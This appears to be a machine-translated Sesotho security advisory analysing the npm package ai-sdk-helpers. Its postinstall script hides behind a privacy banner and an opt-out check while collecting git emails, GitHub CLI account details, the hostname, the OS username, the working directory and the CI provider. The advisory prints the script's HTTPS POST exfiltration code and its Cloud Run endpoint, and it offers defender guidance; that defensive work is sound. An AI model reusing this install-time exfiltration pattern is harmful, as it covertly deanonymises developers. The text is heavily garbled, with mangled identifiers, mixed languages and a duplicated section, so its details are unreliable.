TL; DR
Sephutheloana se le seng sa npm, bathusi ba ai-sdk, e itlhahisa e le sesebelisoa sa tlhahiso bakeng sa Vercel AI SDK, e fanang ka ho latela litšenyehelo, ho khutlela morao ho mofani oa litšebeletso le bathusi ba ho phallela.
Sengolwa sa yona sa nako ya ho kenya se bulwa ka banner e bentšitsweng ya tshenolo e hlalosang tlhahlobo e sa tsejoeng, e tšepisa hore ha ho na khoutu ea mohloli, li-tokens, kapa mangolo a tumello a fetisetsoang, ho hlompha DO_NOT_TRACK ho ikhethela ho se tswe, le ho hokahanya le leqephe la leano la telemetry.
Sengolwa se tšoanang se bala boitsebiso ba git ba moqapi, tlhophiso ea GitHub CLI, lebitso la mots'oari oa mochini, lebitso la mots'oari la OS, bukana ea ts'ebetso, le mofani oa CI.
Lintlha tseo li romelloa e le JSON ho Google Cloud Run endpoint, e leng se etsang hore ho se lumellane ho hlakileng pakeng tsa leano la telemetry le boletsoeng le masimo a 'nete a bokelletsoeng.
Sephutheloana sena se phatlalalitsoe ka mefuta e mashome a mabeli a metso e 'meli ka har'a phallo e le 'ngoe ea metsotsoana e 83, 'me sengoloa sa ho kenya se tšoana ka byte-for-byte ho pholletsa le mofuta o mong le o mong o tšoailoeng.
Mefuta e supileng ho e robeli e hlahlobiloeng ke rona pipeline Li fumane lintlha tse sa fellang ke mohlophisi oa ML hobane setaele sa tumello-lebanta se baleha joalo ka telemetry e nepahetseng.
Re beha ka lihlopha ai-sdk-helpers e le kotsi ho latela pokello ea boitsebiso ba moqapi ba nako ea ho kenya le ho ntša.
Bohloko: bo phahameng.
Anatomy ea ho kenya
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }kamora ho kenya e sebetsa ka bohona npm kenya, pele khoutu efe kapa efe e phatlalalitsoeng ea sephutheloana e kenngwa. Sengoloa di-script/postinstall.js ke moo boitshwaro bohle ba nako ya ho kenya bo dulang teng.
E qala ka lebokose la maikutlo le tsebiso ea nako ea ts'ebetso e ngotsoeng rejistareng ea projeke ea mohloli o bulehileng o hlokomelang lekunutu:
>Ha o kenya li-ai-sdk-helpers, re etsa tlhahlobo e potlakileng ea ho lumellana le tikoloho 'me re tlaleha litlhahlobo tse sa tsejoeng… Lintlha ha li tsejoe ka botlalo — re bokella sethala sa hau, mofuta oa Node, le hash ea tsela e le 'ngoe ea boitsebiso ba mochini oa hau. Ha ho na khoutu ea mohloli, li-tokens, kapa mangolo a tumello a fetisoang.
E bile e hokela heke e sebetsang ea ho khetha ho tsoa, khoutu ea pele e ka sebelisoang faeleng:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Ho kenya heke ena pele ke hona ho etsang hore tse ling kaofela li baloe e le tsa tumellano: moqapi ea behang `D_NOT_TRACK` Ha e bona ho kenngwa ho phethehile ka khutso mme e phethela sephutheloana, e hlompha kopano. Ho kgetha ho kgethwa ho hlomphehang ke nnete. Seo e se kenyang, bakeng sa bohle ba sa e beheng, ke pokello e hlalositsoeng ka tlase - eseng "sethala, mofuta wa Node, le hash e tsamaellanang le e nngwe" mabitso a tsebiso.
Ka tlas'a heke eo, sengoloa se kopanya mojaro o fetang tlhaloso eo haholo.
- *Gboitsebiso.* rrarollaScmBoitsebiso()` lihlooho `~.gitconfig`,`~.config/git/config`,le projeke ea hajoale ea `.it/config`,e hlalosa `[ser]` karolo, mme e kgutlisa tse hlophisitsweng commit imeile. Haeba ho se na faele ea tlhophiso e hlahisang imeile, e khutlela ho `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,le `EAIL` Diphetoho tsa nvironment. Mohala wa dingolwa o ka hodima tshebetso o etsa foreimi ya ho bala e le tsela ya "ho fetisetsa di-install ho pholletsa le mechini e nang le motho a le mong (mohlala, laptop + CI)" — morero o boletsweng o hlokang sesupo se tsitsitseng sa moqapi ka mong, seo commit lisebelisoa tsa imeile.
- *GAk'haonte ea tHub.* rsolveGitHubIdentity()` lihlooho `~.config/gh/hosts.yml` le `~.config/gh/hosts.yaml` faele ea tlhophiso e ngotsoeng ke GitHub CLI ha moqapi a netefatsa - 'me regex-e ntša `uer:` le eail:` mafapha. Faele eo e boetse e boloka token ea GitHub OAuth; regex ea sengoloa e shebane le lebitso la mosebelisi le mela ea imeile ka ho khetheha 'me ha e ntše token. Polelo ea banner ea ho senola ea "ha ho na li-token ... tse fetisetsoang" ka hona ke 'nete bakeng sa tšimo eo e le 'ngoe ha li-identifier tsa ak'haonte tse potileng li baloa le ho romelloa.
- *Hst le CI fingerprint.* sengoloa ebe o bokella `o.lebitso la moamoheli()`,`o.userInfo().lebitso la mosebelisi`,mofuta oa Node, sethala le meralo, `pocess.cwd()`,le leibole la mofani oa CI le rarollotsoeng ka ho hlahloba mefuta-futa ea tikoloho bakeng sa bafani ba robeli (Liketso tsa GitHub, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, le lifolakha tse peli tsa generic-CI). Lethathamo la mofani oa litšebeletso le baloa e le lenane la moo sengoloa se lebeletseng ho sebetsa teng - likhetla tse sebelisanang le kaho e iketsang. pipelines tšoanang.
Tsena tsohle li arotsoe ka sehlopha se le seng sa `dbatho ba sa tsebeng Molimo bject, ka masimo a moqapi ka mong a bokelletsoeng tlasa `imokhatlo` ey le data ea moamoheli tlas'a `rnako` le `cmongolo` eys, ebe e hlophisitsoe ka tatellano le ho fetisoa:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Karabo ea hae ea lahloa 'me liphoso tsohle lia metsoa - maikutlo a bontša hore "telemetry ha ea lokela ho roba ho kenya." Lebitso la moamoheli la ntlha ea ho qetela le kenyelletsa tšebeletso ea Google Cloud Run ho `ethapo-bophirima1` sehlopha.
Pale e na le sekheo. Folakha e bolela mekhahlelo e meraro ea data — sethala, mofuta oa Node, hash ea ho khetholla mochini. Moroalo o lefang o romella git ea 'nete ea moqapi. commit imeile, lebitso la bona la mosebelisi la GitHub le imeile, lebitso la bona la moamoheli la mochini le lebitso la ak'haonte ea OS, tsela ea bona ea projeke, le tikoloho ea bona ea CI. Masimo a khethollang *prson le liakhaonto tsa bona* ke hantle feela masimo ao tshenolo e a siileng.
README e matlafatsa foreimi ho tsoa lehlakoreng le leng. Karolo ea eona ea "Telemetry" e pheta polelo ea ho se tsejoe 'me e hokahanya lentsoe `D_NOT_TRACK` o`cnsoledonotrack.com`,leqephe la 'nete la sechaba le tlalehang tumellano ea ho ikhethela ho tsoa - ho alima lekunutu le tsebahalang standard ho etsa hore tsebiso e baloe e le tloaelo.
lobaka lo longwe
Ena ke phuputso e nang le sephutheloana se le seng e nang le nalane e kgutshwane haholo, e teteaneng haholo ya phatlalatso. Ha ho na moqolo wa letsholo la dibeke tse ngata o ka latelwang — mefuta yohle ya diphetolelo e ile ya sutumelletswa ka lebelo la mochini.
| Neng (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Phetolelo ea pele (0.1.0) e phatlalalitsoe ho npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Mefuta eohle e 22 (0.1.0 ho pholletsa 1.4.2) e phatlalalitsoe ka ho phatloha ho iketsang ha metsotsoana e 83. |
| 2026-06-04 | Mefuta e robeli e tšoailoe ke matšoao a ho lemoha; tlhahlobo ea letsoho e tiisa pokello ea boitsebiso ba nako ea ho kenya le ho bo ntša. Sephutheloana se ile sa lula se le teng ho npm nakong ea tlhahlobo. |
Fensetere ea metsotsoana e 83 ho pholletsa le liphetolelo tse 22 tsa semantic ka boeona ke sesupo sa boitšoaro: lere la mofuta (`01.0`,`01.1`,... `14.2`)e hlahisa bokaholimo ba projeke e bolokiloeng ka mafolofolo e nang le nalane ea tokollo, e hlahisitsoeng ka tatellano e le 'ngoe e ngotsoeng. Sengoloa sa ho kenya ha se fetohe ho pholletsa le lere leo - sheba ka tlase.
Matšoao a ho sekisetsa
Moroalo oa nako ea ho kenya o tšoana ho pholletsa le mefuta e hatisitsoeng.ff` f`sli-ripts/postinstall.js` pakeng tsa mofuta oa `02.1` mofuta oa `14.2` ha e khutlise liphapang; boitšoaro ke monoana o le mong o tsitsitseng, eseng mojaro o fetohang.
Network
Fensetere ea metsotsoana e 83 ho pholletsa le liphetolelo tse 22 tsa semantic ka boeona ke sesupo sa boitšoaro: lere la mofuta (`01.0`,`01.1`,... `14.2`)e hlahisa bokaholimo ba projeke e bolokiloeng ka mafolofolo e nang le nalane ea tokollo, e hlahisitsoeng ka tatellano e le 'ngoe e ngotsoeng. Sengoloa sa ho kenya ha se fetohe ho pholletsa le lere leo - sheba ka tlase.
Matšoao a ho sekisetsa
Moroalo oa nako ea ho kenya o tšoana ho pholletsa le mefuta e hatisitsoeng.ff` f`sli-ripts/postinstall.js` pakeng tsa mofuta oa `02.1` mofuta oa `14.2` ha e khutlise liphapang; boitšoaro ke monoana o le mong o tsitsitseng, eseng mojaro o fetohang.
Network
| pontshi | karolo e phethoang ke |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Sebaka sa ho qetela sa ho ntsha se amohela dikopo tsa HTTPS POST ka JSON payloads. E amohetswe ho Google Cloud Run ho europe-west1 Sebakeng seo. |
Meralo ea motheo ea Decoy
| pontshi | karolo e phethoang ke |
|---|---|
ai-sdk.guide | Leqephe la lapeng la sephutheloana le sebaka sa marang-rang se phelang se tšehetsang boitsebiso ba mongoli ba "AI SDK Guide". |
ai-sdk.guide/telemetry | URL ea leano la Telemetry e bontšitsoe tsebisong ea ho senola nako ea ho kenya. |
hello@ai-sdk.guide | Imeile ea mongoli e phatlalalitsoe ho package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Polokelo ea mohloli e phatlalalitsoeng ke sephutheloana. |
Lifaele li baloa nakong ea ho kenya
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` poso
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI`uer` `eail`
Matšoao a boitšoaro
- – m`pkenya` ook e bitsa sengoloa sa Node se kopantsoeng
- – heke ea ho khetha ho tsoa (`A_SDK_HELPERS_TELEMETRY_E HLOEKISITSOE`,`D_NOT_TRACK`)e hlahisitsoeng e le tšobotsi ea lekunutu, pele ho pokello ea boitsebiso
- – ho tlama HTTPS POST ya ntho ya JSON e nang le imeile ya git, boitsebiso ba GitHub, lebitso la moamoheli, lebitso la mosebedisi la OS, cwd, le label ya CI
- - sengoloa sa ho kenya se ts'oanang ho pholletsa le lere la mofuta o hatisitsoeng ka potlako
Boitšoaro le Tšoaro e Bonoeng
Ha re fane ka letho ntle le seo sephutheloana le metadata ea ngoliso e se tlalehang.
Mohlokomeli oa rekoto ea npm ke ak'haonte `aielsimon`,ka aterese ea `aiel@vigilance.security`.Ngoliso e thathamisa imeile eo e le e sa netefatsoang le boitsebiso ba taolo ea mohloli oa akhaonto e le bo sa netefatsoang.ckage.json`,ka thoko, e hlahisa mongoli e le "Tataiso ea AI SDK `ello@ai-sdk.guide>`”ka leqephe la lapeng la `a-sdk.guide` le polokelo ea mohloli tlas'a `gthub.com/ai-sdk-guide` mokhatlo. Sebaka sa imeile sa akhaonto ea phatlalatso (`vigilance.security`)le boitsebiso ba mongoli bo ka har'a sephutheloana (`a-sdk.guide`)ke libaka tse fapaneng.
The `a-sdk.guide` ntho e teng 'me ea arabela, 'me `/elemetry` ath resolves — boitsebiso ba decoy bo tšehetsoa ke boteng ba webo bo ka fihlellehang ho fapana le sehokelo se shoeleng, e leng se phahamisang tumelo ea foreimi ea sephutheloana.
**Bokhoni bo shebiloeng.** Nakong ea ho kenya, sephutheloana se bala boitsebiso ba moqapi le lifaele tsa tlhophiso ea ak'haonte, se tšoaea menoana ea moamoheli le tikoloho ea CI, 'me se fetisetsa sephetho ho pheletso e laoloang ke operator, ha se ntse se bontša tsebiso e hlalosang sete ea data e moqotetsane le e sa tsejoeng. Re hlalosa boitšoaro bona; ha re tiise lebaka la seo. Babali ba hlahlobang sephutheloana - ho kenyeletsoa le mokha ofe kapa ofe ea lemohang boitsebiso ba phatlalatso - ba lokela ho lekanya ho se lumellane ho bonahalang pakeng tsa phallo ea data e boletsoeng le ea 'nete.
Tšusumetso, mekhoa le tataiso bakeng sa basireletsi
Ke mang ea pepesitsoeng. Mang kapa mang ea kenyang bathusi ba ai-sdk — ka ho toba kapa e le ho itšetleha ka phetoho — e tsamaisa pokello mochining oo. Hobane seqholotsi ke kamora ho kenya, khoutu ea laeborari e phatlalalitsoeng ha ea lokela ho kenngoa hore phallo ea data e etsahale; ho kenya feela hoa lekana. Libaka tsa boleng bo holimo ke libaka tsa mosebetsi tsa baqapi tse nang le boitsebiso ba git bo hlophisitsoeng le GitHub CLI e netefalitsoeng, le li-runner tsa CI, moo ho lemoha ha mofani oa CI oa sengoloa ho bontšang hore pokello e lebelletsoe ho sebetsa kahare ho kaho. pipelinehammoho le lilaptop.
Seo e se pepesang. Hase liphiri tsa kopo tabeng e akaretsang — mojaro o ipapisitse le Boitsebiso: ea moqapi commit imeile, lebitso la bona la akhaonto ea GitHub le imeile, mabitso a mochini le a akhaonto, le tsela ea projeke. Ke pre-cis'Mapa oa hore na ke mang ea kentseng sephutheloana, mochining ofe, polokelong efe, le tsamaisong efe ea CI. Bakeng sa mokhatlo, lirekoto tse 'maloa tse joalo tse kopantsoeng li ka thathamisa hore na ke baenjiniere bafe le hore na ke litsamaiso life tse hahileng tse hulang ho itšetleha - tse thusang e le selelekela sa ts'ebetso e reretsoeng ho latela, leha boitšoaro ba sephutheloana sena bo emisa ho bokelleng le ho fetisetsoeng.
Mokhoa: telemetry e le sekoahelo. Lisebelisoa tsa moqapi tsa molao li bokella tlhahlobo ea ho kenya e sa tsejoeng, le mekhoa ea ho e etsa ka tlhompho - tsebiso ea phatlalatso, U SE KE UA TSAMAEA tlhompho, folakha ea ho khetha ho se be teng, URL ea leano - li tsebahala haholo. bathusi ba ai-sdk e pheta-pheta litumellano tseo tse 'ne ka botšepehi 'me e li sebelisa e le sekoahelo sa pokello ea boitsebiso. Boteng ba folakha ea tumello, khetho e sebetsang ea ho tsoa, kapa sehokelo sa leano la lekunutu ha se bopaki ba hore sephutheloana sea tšepahala; litsamaiso tseo li theko e tlase ho li etsisa. Tlhahlobo e le 'ngoe feela e tšepahalang ke hore na khoutu e hlile e bala eng le hore na e hlile e e romela hokae.
Sephutheloana sena se boetse se na le phello e ka lekanngoang holim'a triage e iketsang. Ho pholletsa le mefuta ea rona pipeline Ha e hlahlobiloe, litlhaloso tsa puo e bonolo tsa sengoloa sa ho kenya, mabitso a masimo a hlophisitsoeng, le heke ea ho khetha ho tsoa e fumanoe e le telemetry e tloaelehileng: tse supileng ho tse robeli li khutlile e sa tsejoeng ho tsoa ho classifier ea ML ho fapana le ho ba kotsi. Letšoao le rarollang ho se hlaka ha le eo ho prose - ke lifaeleng tse itseng tseo sengoloa se li bulang (~/.gitconfig, ~/.config/gh/hosts.yml) le moo e romelang teng. Mohlahlobi, ebang ke motho ka boyena kapa ke motho, ya balang tshenolo mme a ema moo o tla fihlela qeto e fosahetseng; qeto e lokela ho tswa dintlheng tsa phallo ya data.
Tataiso bakeng sa basireletsi:
- Kenya ka dingolwa tse thibetsweng ka boiketsetso — npm kenya –ignore-scripts, kapa sete lingoloa tse hlokomolohuoang = 'nete in .npmrc 'me u tsamaise mehato ea kaho e hlahlobiloeng ka ho hlaka. Sena se felisa kamora ho kenya-pokello e qalileng hohle.
- O se ke wa nka ditaolo tsa ho kgetha ho se tswe e le matshwao a tshepo. U SE KE UA TSAMAEA cheke kapa sehokelo sa "leano la telemetry" ha se o bolelle letho ka data eo sengoloa se e bokellang ha heke e sa beoa.
- Bala hook ea ho kenya pele u sebelisa liphutheloana tsa mothusi oa AI-ecosystem. Sebaka sa Vercel AI SDK ke sepheo se tsamaeang ka potlako le se tšepahalang haholo; kamora ho kenya seo se amang ~/.gitconfig or ~/.config/gh/ ke pontšo e hlakileng ho sa tsotelehe hore na litlhaloso tse potolohileng li ngotsoe joang.
- Lekola ho tsoa ha nako ea kaho. HTTPS POST e tsoang nakong ea npm kenya, haholo-holo ho ntlha ea ho qetela ea ts'ebetso ea leru e sa tsoa lokisetsoa, e bonoa mokatong oa marang-rang 'me ke sebaka se matla sa ho lemoha libaka tsa CI.
- Shebella litepisi tsa mofuta o hatelletsoeng. Sephutheloana seo nalane eohle ea sona ea semantic-version e hlahang ka metsotsoana, ka sengoloa sa ho kenya se sa fetoheng, se hlahisa nalane ea tlhokomelo e entsoeng.
